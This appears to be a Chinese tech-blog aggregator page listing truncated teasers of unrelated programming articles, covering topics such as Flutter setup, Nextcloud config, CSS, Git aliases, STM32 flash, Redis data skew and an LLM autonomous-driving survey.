Android Studio 安装Flutter插件但是没法创建项目 如果你在Android Studio已经安装了Dart、Flutter插件&#xff0c;但是不能创建Flutter项目。 原因是因为Android Studio的版本更新&#xff0c;Android APK Support这个插件没被选中。 一旦勾选这个插件之后&#xff0c;就能…...

新春快乐(烟花、春联)【附源码】

新春快乐 一&#xff1a; C语言 -- 烟花二&#xff1a;Python -- 春联三&#xff1a;Python -- 烟花四&#xff1a;HTML -- 烟花 一&#xff1a; C语言 – 烟花 运行效果&#xff1a; #include <graphics.h> #include <math.h> #include <time.h> #include…...

nextcloud 优化扩展

cd /config vi config.php #ONLYOFFICE allow_local_remote_servers > true, #应用商店加速 appstoreenabled > true, appstoreurl > https://www.orcy.net/ncapps/v2/, #nginx配置调优 add_header Strict-Transport-Security max-age15552000; add…...

【CSS】css如何实现字体大小小于12px?

【CSS】css如何实现字体大小小于12px? 问题解决方案transform: scale(0.5)&#xff08;常用&#xff09;SVG 矢量图设置text 问题 文字需要显示为12px&#xff0c;但是小于12px的&#xff0c;浏览器是显示不来的 解决方案 transform: scale(0.5)&#xff08;常用&#xff0…...

【Langchain+Streamlit】旅游聊天机器人

【LangchainStreamlit】打造一个旅游问答AI-CSDN博客 项目线上地址&#xff0c;无需openai秘钥可直接体验&#xff1a;http://101.33.225.241:8502/ github地址&#xff1a;GitHub - jerry1900/langchain_chatbot: langchainstreamlit打造的一个有memory的旅游聊天机器人&…...

〖大前端 - ES6篇②〗- let和const

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;哈哥撩编程&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xff0c;目前在公司…...

JAVA设计模式之代理模式详解

代理模式 1 代理模式介绍 在软件开发中,由于一些原因,客户端不想或不能直接访问一个对象,此时可以通过一个称为"代理"的第三者来实现间接访问.该方案对应的设计模式被称为代理模式. 代理模式(Proxy Design Pattern ) 原始定义是&#xff1a;让你能够提供对象的替代…...

vivo发布2023 年度科技创新;阿里全新AI代理,可模拟人类操作手机

vivo 发布 2023 年度十大产品技术创新 近日&#xff0c;vivo 发布了「2023 年度科技创新」十大产品技术创新榜单&#xff0c;并将这些技术分为了 4 个板块。 「四大蓝科技」为 vivo 在去年推出的全新技术品牌&#xff0c;涵盖蓝晶芯片技术栈、蓝海续航系统、蓝心大模型、蓝河操…...

【制作100个unity游戏之23】实现类似七日杀、森林一样的生存游戏15(附项目源码)

本节最终效果演示 文章目录 本节最终效果演示系列目录前言实现树倒下的效果拾取圆木砍树消耗卡路里斧头手臂穿模问题处理源码完结 系列目录 前言 欢迎来到【制作100个Unity游戏】系列&#xff01;本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第23篇中&…...

python巧用定理判断素数

目录 判断一个数n是否是素数 求一个数的素因数个数 求大于等于指定数的最小素数 在数论中有三个非常重要的关于素数的定理 1、任何数都可以表示成若干个素数的乘积 2、任意数的素因子一个大于根号n的自然数&#xff0c;另一个与其对应的因子则必小于根号n。 3、除了2和3以…...

2023年总结

人们总说时间会改变一切&#xff0c;但事实上你得自己来。 今年开始给自己的时间读书、工作、生活都加上一个2.0的release版本号&#xff0c;相比过去的一年还是有很多进步的。 就跟git commit一样&#xff0c;一步一步提交优化&#xff0c;年底了发个版本。用李笑来的话说&am…...

Git中为常用指令配置别名

目录 1 前言 2 具体操作 2.1 创建.bashrc文件 2.2 添加指令 2.3 使其生效 2.4 测试 1 前言 在Git中有一些常用指令比较长&#xff0c;当我们直接输入&#xff0c;不仅费时费力&#xff0c;还容易出错。这时候&#xff0c;如果能给其取个简短的别名&#xff0c;那么事情就…...

STM32内部Flash

目录 一、内部Flash简介 二、内部Flash构成 1. 主存储器 2. 系统存储区 3. 选项字节 三、内部Flash写入过程 1. 解锁 2. 页擦除 3. 写入数据 四、工程空间分布 某工程的ROM存储器分布映像&#xff1a; 1. 程序ROM的加载与执行空间 2. ROM空间分布表 一、内部Flash…...

云计算——弹性云计算器(ECS)

弹性云服务器&#xff1a;ECS 概述 云计算重构了ICT系统&#xff0c;云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台&#xff0c;包含如下主要概念。 ECS&#xff08;Elastic Cloud Server&#xff09;&#xff1a;即弹性云服务器&#xff0c;是云计算…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡&#xff08;如 HAProxy、AWS NLB、阿里 SLB&#xff09;发起上游连接时&#xff0c;将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后&#xff0c;ngx_stream_realip_module 从中提取原始信息…...

k8s业务程序联调工具-KtConnect

概述 原理 工具作用是建立了一个从本地到集群的单向VPN&#xff0c;根据VPN原理&#xff0c;打通两个内网必然需要借助一个公共中继节点&#xff0c;ktconnect工具巧妙的利用k8s原生的portforward能力&#xff0c;简化了建立连接的过程&#xff0c;apiserver间接起到了中继节…...

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

ABAP设计模式之---“简单设计原则(Simple Design)”

“Simple Design”&#xff08;简单设计&#xff09;是软件开发中的一个重要理念&#xff0c;倡导以最简单的方式实现软件功能&#xff0c;以确保代码清晰易懂、易维护&#xff0c;并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计&#xff0c;遵循“让事情保…...

代码随想录刷题day30

1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币&#xff0c;另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额&#xff0c;返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

Linux 中如何提取压缩文件 ?

Linux 是一种流行的开源操作系统&#xff0c;它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间&#xff0c;使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的&#xff0c;要在 …...

NPOI Excel用OLE对象的形式插入文件附件以及插入图片

static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...

论文阅读:LLM4Drive: A Survey of Large Language Models for Autonomous Driving

地址&#xff1a;LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂&#xff0c;正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...